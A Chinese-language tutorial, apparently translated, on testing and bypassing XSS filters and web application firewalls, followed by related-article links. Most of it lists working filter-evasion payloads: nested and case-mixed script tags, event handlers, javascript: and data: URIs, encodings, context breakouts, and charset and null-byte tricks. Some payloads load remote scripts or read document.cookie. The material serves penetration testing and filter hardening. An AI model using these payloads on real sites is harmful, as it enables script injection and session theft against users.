Bypass xss過濾的測試方法
0x00 背景
本文來自於《Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters》其中的bypass xss過濾的部分,前面有根據WAF特徵確定是哪個WAF的測試方法給略過了,重點來看一下後面繞xss的一些基本的測試流程,雖說是繞WAF的,但這裡還是根據WAF中的正則缺陷來繞過測試方法,並不是協議上問題,所以呢,基本可以通用於其他xss過濾的場景。方便新手們比較快速的瞭解到測試xss的一些基本的方法。
0x01 Bypassing黑名單
大多數的場所是用的黑名單來做過濾器的,有三種方式繞過黑名單的測試:
1、暴力測試(輸入大量的payload,看返回結果)
2、根據正則推算
3、利用瀏覽器bug
初步測試
1)嘗試插入比較正常的HTML標籤,例如:<b>,<i>,<u>
來看一下返回頁面的情況是怎樣的,是否被HTML編碼了,或者標籤被過濾了。
2)嘗試插入不閉合的標籤,例如:<b,<i,<u,<marquee
然後看一下返回響應,是否對開放的標籤也有過濾。
3)然後測試幾個XSS的payload,基本所有的xss過濾器都會進行過濾的:
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<scriptsrc="http://rhainfosec.com/evil.js">
看返回響應,是過濾的全部,還是隻過濾了部分,是否還留下了alert,prompt,confirm
字元,再嘗試大小寫的組合:
<scRiPt>alert(1);</scrIPt>
4)如果過濾器僅僅是把<script>
和</script>
標籤過濾掉,那麼可以用
<scr<script>ipt>alert(1)</scr<script>ipt>
的方式來繞過,這樣當<script>
標籤被過濾掉,剩下的組合起來剛好形成一個完整的payload。
5)用<a href
標籤來測試,看返回響應
<a href="http://www.google.com">Clickme</a>
<a
標籤是否被過濾 href是否被過濾 href裡的資料是否被過濾
如果沒有資料被過濾,插入javascript協議看看:
<a href="javascript:alert(1)">Clickme</a>
是否返回錯誤 javascript的整個協議內容是否都被過濾掉,還是隻過濾了javascript字元 嘗試下大小寫轉換
繼續測試事件觸發執行javascript:
<a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
看onmouseover事件是否被過濾。測試一個無效的事件,看過濾規則:
<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
是完整的返回了呢,還是跟onmouseover一樣被幹掉了。
如果是完整的返回的話呢,那麼意味著,做了事件的黑名單,但是在HTML5中,有超過150種的方式來執行javascript程式碼的事件測試一個很少見的事件:
<body/onhashchange=alert(1)><a href=#>clickit
測試其他標籤
接下來測試其他的標籤跟屬性
Src屬性
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
iframe標籤
<iframe src="javascript:alert(2)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
embed標籤
<embed/src=//goo.gl/nlX0P>
action屬性
利用<form,<isindex
等標籤中的action屬性執行javascript
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
<formaction='data:text/html,<script>alert(1)</script>'><button>CLICK
formaction屬性
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME
background屬性
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
poster屬性
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
data屬性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
code屬性
<applet code="javascript:confirm(document.cookie);"> // Firefox有效
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
事件觸發
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
最短的測試向量
<q/oncut=open()>
<q/oncut=alert(1)>//在限制長度的地方很有效
巢狀
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<bodylanguage=vbsonload=alert-1//IE8有效
<command onmouseover
="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> //IE8有效
過濾括號的情況下
當括號被過濾的時候可以使用throw來繞過
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
以上兩個測試向量在Chrome跟IE在上面會出現一個“uncaught”的錯誤,可以用以下的向量:
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
expression屬性
<img style="xss:expression(alert(0))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> // IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
location屬性
<a onmouseover=location='javascript:alert(1)'>click
<body onfocus="loaction='javascript:alert(1)'">123
其他的一些payload
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg>
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg>
<meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
當= ( ) ; :被過濾時
<svg><script>alert(/1/)</script> // 通殺所有瀏覽器
opera中可以不閉合
<svg><script>alert( 1) // Opera可查
實體編碼
很多情況下WAF會實體編碼使用者的輸入資料,
javascript是一個很靈活的語言,可以使用很多編碼,比如十六進位制,Unicode和HTML。但是也對這些編碼可以用在哪個位置有規定:
屬性:
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
支援的編碼方式:HTML,八進位制,十進位制,十六進位制和Unicode
屬性:
data=
支援的編碼:base64
基於上下文的過濾
WAF最大的問題,在於不知道輸出的位置的上下文,導致根據具體環境可以繞過。
輸入在屬性裡
<input value="XSStest" type=text>
可控位置為XSStest,可以使用
"><img src=x onerror=prompt(0);>
如果< >
被過濾的話可以換成
" autofocus onfocus=alert(1)//
同樣還有很多其他的payload:
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="
輸入在script標籤中
例如:
<script>
Var x="Input";
</script>
可控位置在Input,可以閉合script標籤插入程式碼,但是同樣我們僅僅閉合雙引號就可以執行js程式碼了
";alert(1)//
最終結果就是
<script>
Var x="";alert(1)//
</script>
非常規的事件監聽
例如:
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
下面是一些相同的類:
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
HREF內容可控
例如:
<a href="Userinput">Click</a>
可控的是Userinput那裡我們需要做的只是把javascript程式碼輸入就好了:
javascript:alert(1)//
最後組合為:
<a href="javascript:alert(1)//">Click</a>
變換
使用HTML實體URL編碼繞過黑名單,href裡會自動實體解碼,如果都失敗了,可以嘗試使用vbscript在IE10以下都有效,或者使用data協議。
JavaScript變換
使用javascript協議時可使用的例子:
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:\u0061lert(1);
javascript:\u0061lert(1)
javascript:alert(document.cookie)
Vbscript變換
vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JSON
當你的輸入會在encodeURIComponent當中顯示出來的時候,很容易插入xss程式碼了
encodeURIComponent('userinput')
userinput處可控,測試程式碼:
-alert(1)-
-prompt(1)-
-confirm(1)-
最終結果:
encodeURIComponent("-alert(1)-")
encodeURIComponent("-prompt(1)-")
SVG標籤
當返回結果在svg標籤中的時候,會有一個特性
<svg><script>varmyvar="YourInput";</script></svg>
YourInput可控,輸入
www.site.com/test.php?var=text";alert(1)//
如果把"編碼一些他仍然能夠執行:
<svg><script>varmyvar="text";alert(1)//";</script></svg>
瀏覽器bug
字符集的bug在IE中出現過很多次,第一個就是UTF-7,但是這個只在之前的版本中可用,現在討論一個在現在的瀏覽器當中可以執行的javascript。
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
這個頁面當中我們可控當前頁面的字符集,當我們常規的測試時:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>
返回結果可以看到雙引號被編碼了:
<html>
<meta charset="utf-8"></meta>
<body>
<input type="text" value=""><img src=x onerror=prompt(0);>"></input>
</body>
</html>
設定字符集為UTF-32:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
上面這個在IE9及以下版本可以執行成功。
利用0位元組繞過:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
在IE9及以下版本有效。
其他等等一系列瀏覽器特性的XSS可以參考以下文章:
0x02 總結
本文主要是一個測試XSS的思路流程,並沒有把所有的payload寫全,其實也沒有人能夠寫全,只是列了一個大體的框架,大家實際在尋找的過程中可以不斷慢慢的根據這種思路補充自己的payload,想必呢,一定會有很大的進步的!~
相關文章
- Bypass IE XSS Filter2020-08-19Filter
- 一個 Chrome XSS Filter Bypass 的分析2020-08-19ChromeFilter
- bypass waf測試_rce2024-10-25
- XSS————1、XSS測試平臺搭建2018-05-13
- Spring Cloud Gateway中的過濾器工廠:重試過濾器2018-04-25SpringCloudGateway過濾器
- jQuery如何使用過濾not()方法2021-09-11jQuery
- 富文字儲存型XSS的模糊測試之道2020-08-19
- 布隆過濾器(BloomFilter)原理 實現和效能測試2020-07-24過濾器OOMFilter
- jQuery中過濾方法slice()方法如何使用?2021-09-11jQuery
- MySQL隱碼攻擊之Fuzz測試&Bypass WAF小結2024-06-02MySql
- js--陣列的filter()過濾方法的使用2020-12-20JS陣列Filter
- Laravel 單元測試實戰(4)- 測試成功後的方法重構並再次測試透過2022-09-26Laravel
- 測試—測試方法2020-10-06
- 如何進行滲透測試XSS跨站攻擊檢測2019-10-08
- 一種自動化檢測 Flash 中 XSS 方法的探討2020-08-19
- 【黑盒測試】測試用例的常用方法2019-03-28
- 4、過濾器的使用及自定義過濾器2024-03-21過濾器
- 過濾2024-07-30
- 測試方法2024-10-29
- 測試用例的方法2024-10-21
- 軟體測試的方法2020-12-24
- 測試laravel commands的方法2019-02-16Laravel
- 轉發 spring 過濾靜態資源的2種方法2018-07-31Spring
- 預測電影偏好?如何利用自編碼器實現協同過濾方法2018-05-20
- 測試用例和測試方法2020-11-23
- 90%測試工程師不知道的測試方法2018-11-19工程師
- 誠翔濾器光刻膠過濾器濾芯:保障光刻過程的高效與安全2023-04-12過濾器
- 過濾器2024-03-07過濾器
- filter過濾2020-10-20Filter
- 過濾Filtering2020-10-28Filter
- Filter過濾器的使用2021-09-22Filter過濾器
- JSONObject的過濾設定2020-12-17JSONObject
- mongo對文件中陣列進行過濾的三種方法2024-10-12Go陣列
- Django(67)drf搜尋過濾和排序過濾2021-06-21Django排序
- 持續測試效能的方法2023-12-11
- 黑盒測試、白盒測試與灰盒測試方法2021-12-24
- 13.gateway中的過濾器的介紹以及自定義過濾器2020-12-05Gateway過濾器
- 一種新的UI測試方法:視覺感知測試2022-07-15UI視覺